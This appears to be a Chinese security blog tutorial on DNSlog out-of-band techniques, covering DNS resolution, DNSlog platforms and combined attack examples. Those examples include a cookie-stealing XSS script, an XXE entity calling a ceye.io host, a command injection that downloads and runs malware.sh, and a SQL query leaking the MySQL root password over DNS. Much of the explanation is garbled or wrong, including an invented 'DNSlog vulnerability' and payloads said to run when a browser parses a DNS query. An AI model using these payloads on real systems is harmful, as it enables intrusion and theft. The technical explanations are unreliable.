目录
[Burp Collaborator](#Burp Collaborator)
生命在于学习!
DNSlog的作用主要是判断是否存在相关漏洞,基本步骤就是
1.利用DNSlog平台(下有)获取一个域名
2.在怀疑有漏洞的地方,输入验证某漏洞的payload
3.返回DNSlog平台查看是否有回显
【此时DNSlog平台给的域名就相当于一个日志文件,如果有回显则证明漏洞存在】
1.DNS解析流程
DNS 解析是将域名转换为 IP 地址的过程。以下是 DNS 解析的基本流程:
-
递归查询:首先,客户端向本地 DNS 服务器(也称为递归 DNS 服务器)发出请求,要求解析特定的域名。
-
根名称服务器:如果本地 DNS 服务器不知道如何解析该域名,它会向根名称服务器查询。根名称服务器知道所有顶级域名(TLD)服务器的 IP 地址,因此它会将查询转发到相应的 TLD 服务器。
-
顶级域名服务器:TLD 服务器知道所有权威 DNS 服务器的 IP 地址,因此它会将查询转发到相应的权威 DNS 服务器。
-
权威名称服务器:权威 DNS 服务器知道要解析的域的所有信息,因此它会将 IP 地址返回给 TLD 服务器。
-
递归名称服务器:TLD 服务器会将 IP 地址返回给本地 DNS 服务器,然后本地 DNS 服务器会将 IP 地址返回给客户端。
-
缓存:在解析过程中,所有 DNS 服务器都会缓存解析结果,以加速后续解析请求。
2.DNSlog介绍
DNSlog 是一种 DNS 隧道技术,用于数据泄露或命令和控制(C2)通信。它利用 DNS 协议的特性,将数据编码为 DNS 查询或响应,从而实现数据通信。DNSlog 可用于检测子域取代、未授权区域传输和其他 DNS 相关漏洞。
DNSlog 的工作原理如下:
-
攻击者:攻击者将数据编码为 DNS 查询或响应,然后将其发送到 DNS 服务器。
-
DNS 服务器:DNS 服务器会解析查询,并将响应发送回攻击者。
-
攻击者:攻击者可以从 DNS 响应中提取数据,从而实现数据泄露或 C2 通信。
DNSlog 的优点是它可以绕过防火墙和网络安全监控,因为 DNS traffic 通常被视为正常流量。然而,DNSlog 也有一些缺点,例如它可能导致 DNS 服务器过载,并且可能被检测到。
3.DNSlog平台
DNSlog平台是一种用于捕获和分析通过DNS协议传输的数据的工具。它的作用在于帮助安全研究人员、渗透测试人员和网络管理员在漏洞利用和网络安全评估过程中获取有关网络请求和流量的信息。以下是DNSlog平台的主要作用:
漏洞利用:DNSlog平台可以用于利用某些漏洞,特别是SSRF(Server-Side Request Forgery)漏洞。通过将DNSlog服务器的URL作为恶意请求的一部分,可以捕获并分析发起的请求,了解目标系统的信息,以便进一步渗透或攻击。
信息收集:通过DNSlog平台,可以获取有关网络请求的信息,例如请求的来源IP地址、User-Agent、请求时间等。这些信息对于分析和了解网络活动、识别潜在的威胁行为以及进行后续的安全调查非常有帮助。
恶意活动监测:DNSlog平台可以用于监测和发现恶意活动。通过分析DNS请求和响应,可以识别潜在的恶意域名或恶意主机,从而及早发现和应对安全威胁。
安全评估和渗透测试:在进行安全评估和渗透测试时,DNSlog平台可以用作收集和分析网络请求的工具。它可以帮助评估人员了解目标系统的通信模式、暴露的敏感信息以及可能的漏洞。
数据分析和研究:DNSlog平台提供了对捕获的DNS请求和响应进行分析的功能。这些数据可以用于研究网络活动、分析攻击趋势、发现新的漏洞或改进安全防御措施。
Burp Collaborator
Burp Collaborator 是 Burp Suite 中的一个插件,可用于执行 DNSlog 测试。它允许您将 Burp Suite 与 DNSLog 平台集成,以便在进行渗透测试时执行 DNSlog 测试。
以下是如何使用 Burp Collaborator 执行 DNSlog 测试:
-
配置 Burp Collaborator:首先,您需要在 Burp Suite 中配置 Burp Collaborator。在 Burp Suite 的"项目选项"中,找到"Collaborator"选项卡,然后输入 DNSLog 平台的 URL。
-
生成诱饵:在 Burp Suite 中,导航到"Collaborator"选项卡,然后点击"生成诱饵"按钮。这将生成一个唯一的子域名,您可以将其用作 DNSlog 测试的一部分。
-
执行 DNSlog 测试:在进行渗透测试时,将生成的子域名插入到 DNS 查询中。然后,Burp Collaborator 会捕获 DNS 响应,并将其显示在 Burp Suite 中。
-
分析结果:在 Burp Suite 中,导航到"Collaborator"选项卡,然后点击"事件"选项卡。这将显示所有捕获的 DNS 响应,您可以使用这些信息来确定 DNS 服务器的配置和潜在漏洞。
DNSlog.cn
DNSLog 平台的工作原理如下:
-
注册:首先,您需要注册 DNSLog 平台,以获得唯一的用户名和密码。
-
生成子域名:在 DNSLog 平台中,生成一个唯一的子域名,您可以将其用作 DNSlog 测试的一部分。
-
执行 DNSlog 测试:在进行渗透测试时,将生成的子域名插入到 DNS 查询中。然后,DNSLog 平台会捕获 DNS 响应,并将其显示在 DNSLog 平台中。
-
分析结果:在 DNSLog 平台中,您可以查看所有捕获的 DNS 响应,并使用这些信息来确定 DNS 服务器的配置和潜在漏洞。
ceye.io
ceye.io 的工作原理如下:
-
注册:首先,您需要注册 ceye.io,以获得唯一的用户名和密码。
-
生成子域名:在 ceye.io 中,生成一个唯一的子域名,您可以将其用作 DNSlog 测试的一部分。
-
执行 DNSlog 测试:在进行渗透测试时,将生成的子域名插入到 DNS 查询中。然后,ceye.io 会捕获 DNS 响应,并将其显示在 ceye.io 中。
-
分析结果:在 ceye.io 中,您可以查看所有捕获的 DNS 响应,并使用这些信息来确定 DNS 服务器的配置和潜在漏洞。
4.DNSlog之混合漏洞利用
DNSlog之xss漏洞利用的实例
XSS(跨站点脚本)漏洞是一种常见的 Web 安全漏洞,它允许攻击者在用户浏览器中执行恶意 JavaScript 代码。XSS 漏洞可能导致用户身份被盗、Cookie 被窃取或其他恶意活动。
如果您发现了一个 DNSlog 漏洞和一个 XSS 漏洞,则可以将这两个漏洞结合起来,进行更有效的攻击。以下是一个实例:
-
发现 DNSlog 漏洞:首先,您需要发现一个 DNSlog 漏洞,例如未授权的区域传输或子域取代。
-
发现 XSS 漏洞:接下来,您需要发现一个 XSS 漏洞,例如在网站的搜索框中输入恶意 JavaScript 代码。
-
将 DNSlog 漏洞与 XSS 漏洞结合:在 DNSlog 漏洞中,将恶意 JavaScript 代码插入到 DNS 查询中。然后,当用户浏览器解析 DNS 查询时,恶意 JavaScript 代码会被执行。
-
执行攻击:在执行攻击时,恶意 JavaScript 代码会在用户浏览器中执行,从而实现 XSS 攻击。
例如,攻击者可以在 DNSlog 漏洞中插入以下恶意 JavaScript 代码:
<script>new Image().src='http://example.com/log?data='+document.cookie</script>
当用户浏览器解析 DNS 查询时,恶意 JavaScript 代码会在用户浏览器中执行,从而将 Cookie 发送到攻击者的服务器。
DNSlog之xxe漏洞利用的实例
XXE(XML 外部实体)漏洞是一种常见的 Web 安全漏洞,它允许攻击者读取本地文件或执行其他系统命令。XXE 漏洞可能导致信息泄露、拒绝服务(DoS)或其他恶意活动。
如果您发现了一个 DNSlog 漏洞和一个 XXE 漏洞,则可以将这两个漏洞结合起来,进行更有效的攻击。以下是一个实例:
-
发现 DNSlog 漏洞:首先,您需要发现一个 DNSlog 漏洞,例如未授权的区域传输或子域取代。
-
发现 XXE 漏洞:接下来,您需要发现一个 XXE 漏洞,例如在 XML 文件中输入恶意 XML 代码。
-
将 DNSlog 漏洞与 XXE 漏洞结合:在 DNSlog 漏洞中,将恶意 XML 代码插入到 DNS 查询中。然后,当用户浏览器解析 DNS 查询时,恶意 XML 代码会被执行。
-
执行攻击:在执行攻击时,恶意 XML 代码会在用户浏览器中执行,从而实现 XXE 攻击。
例如,攻击者可以在 DNSlog 漏洞中插入以下恶意 XML 代码:
XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test">
%remote;]>
<root/>
当用户浏览器解析 DNS 查询时,恶意 XML 代码会在用户浏览器中执行,从而读取本地文件 /etc/passwd
。
DNSlog之rce漏洞利用的实例
RCE(远程命令执行)漏洞是一种常见的 Web 安全漏洞,它允许攻击者在目标系统上执行系统命令。RCE 漏洞可能导致信息泄露、拒绝服务(DoS)或其他恶意活动。
如果您发现了一个 DNSlog 漏洞和一个 RCE 漏洞,则可以将这两个漏洞结合起来,进行更有效的攻击。以下是一个实例:
-
发现 DNSlog 漏洞:首先,您需要发现一个 DNSlog 漏洞,例如未授权的区域传输或子域取代。
-
发现 RCE 漏洞:接下来,您需要发现一个 RCE 漏洞,例如在 Web 应用程序中输入恶意命令。
-
将 DNSlog 漏洞与 RCE 漏洞结合:在 DNSlog 漏洞中,将恶意命令插入到 DNS 查询中。然后,当用户浏览器解析 DNS 查询时,恶意命令会被执行。
-
执行攻击:在执行攻击时,恶意命令会在目标系统上执行,从而实现 RCE 攻击。
例如,攻击者可以在 DNSlog 漏洞中插入以下恶意命令:
;wget http://example.com/malware.sh -O /tmp/malware.sh;chmod +x /tmp/malware.sh;/tmp/malware.sh
当用户浏览器解析 DNS 查询时,恶意命令会在目标系统上执行,从而下载恶意软件 malware.sh
并执行它。
DNSlog之sql漏洞利用的实例
SQL 漏洞是一种常见的 Web 安全漏洞,它允许攻击者在数据库中执行恶意 SQL 语句。SQL 漏洞可能导致信息泄露、数据库损坏或其他恶意活动。
如果您发现了一个 DNSlog 漏洞和一个 SQL 漏洞,则可以将这两个漏洞结合起来,进行更有效的攻击。以下是一个实例:
-
发现 DNSlog 漏洞:首先,您需要发现一个 DNSlog 漏洞,例如未授权的区域传输或子域取代。
-
发现 SQL 漏洞:接下来,您需要发现一个 SQL 漏洞,例如在 Web 应用程序中输入恶意 SQL 语句。
-
将 DNSlog 漏洞与 SQL 漏洞结合:在 DNSlog 漏洞中,将恶意 SQL 语句插入到 DNS 查询中。然后,当用户浏览器解析 DNS 查询时,恶意 SQL 语句会被执行。
-
执行攻击:在执行攻击时,恶意 SQL 语句会在数据库中执行,从而实现 SQL 攻击。
例如,攻击者可以插入以下恶意 SQL 语句:
XML
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));
DNSlog之ssrf漏洞利用的实例
-
首先,你需要一个可用的DNSlog服务器。你可以使用第三方DNSlog服务,也可以自己搭建一个。假设你已经有了一个DNSlog服务器,其域名为
dnslog.example.com
。 -
接下来,你需要找到一个存在SSRF漏洞的目标应用程序。假设目标应用程序有一个功能,允许用户输入URL并下载远程文件。该功能可能的代码类似于以下示例:
python
import requests
def download_file(url):
response = requests.get(url)
return response.content
url = request.args.get('url')
file_data = download_file(url)
save_file(file_data)
-
利用SSRF漏洞,你可以构造一个恶意URL,将其作为参数传递给目标应用程序。你可以使用DNSlog服务器的URL作为恶意URL的主机部分,以便在应用程序发起请求时捕获请求信息。以下是一个示例恶意URL:
在这个示例中,你将http://dnslog.example.com
作为参数传递给目标应用程序的下载功能。应用程序会尝试下载该URL对应的内容。
-
当目标应用程序发起请求时,它会向
dnslog.example.com
发起DNS请求以解析该主机名。 -
DNSlog服务器会捕获该请求并记录相关信息,例如请求的IP地址、User-Agent等。你可以通过访问DNSlog服务器的界面或使用其API来查看记录的请求信息。
通过利用DNSlog,你可以获取目标应用程序对恶意URL的请求信息,并了解目标服务器的IP地址、请求头部信息等。这些信息可以帮助你进一步探测目标系统、发现其他漏洞或进行其他攻击。
5.DNSLog自动化利用
DNSLog自动化利用是指利用DNSLog平台进行自动化渗透测试的过程。DNSLog平台可以用于获取目标系统的DNS请求记录,从而实现在无法直接获取回显的情况下,将想要的数据外带出来的目的。以下是关于DNSLog自动化利用的一些信息和方法:
-
DNSLog平台的应用场景:
- SQL注入中的盲注:通过将SQL注入的结果作为DNS请求的一部分,将注入结果记录在DNSLog平台上,从而获取注入的结果。
- 无回显的命令执行:在无法直接获取命令执行结果的情况下,将命令执行的结果作为DNS请求的一部分,记录在DNSLog平台上,然后读取DNSLog平台的记录来获取命令执行结果。
- 无回显的SSRF:在SSRF漏洞中,无法直接获取目标系统的响应,可以通过将SSRF请求的结果作为DNS请求的一部分,记录在DNSLog平台上,从而获取SSRF请求的结果。
-
DNSLog平台的原理:
- DNSLog平台是基于DNS(Domain Name System)的原理实现的。DNS是将域名和IP地址相互映射的系统,用户输入域名时,DNS服务器会解析域名并返回对应的IP地址。
- DNSLog平台利用DNS请求的特性,将想要的数据作为子域名的一部分,发送DNS请求到DNSLog平台,DNSLog平台记录下这些DNS请求,从而实现数据的外带。
-
DNSLog自动化利用的步骤:
- 注册一个DNSLog平台账号,并申请一个域名。
- 在渗透测试过程中,将想要获取的数据作为子域名的一部分,发送DNS请求到DNSLog平台。
- 在DNSLog平台上查看记录,获取所需的数据。
-
DNSLog自动化利用的函数和方法:
- load_file()函数:在SQL注入中,可以使用load_file()函数将SQL查询结果作为DNS请求的一部分,记录在DNSLog平台上,从而获取注入结果。
- Hex编码:在DNS请求中,有些特殊符号无法直接使用,可以使用Hex编码将特殊符号转换为可用的形式,以减少干扰。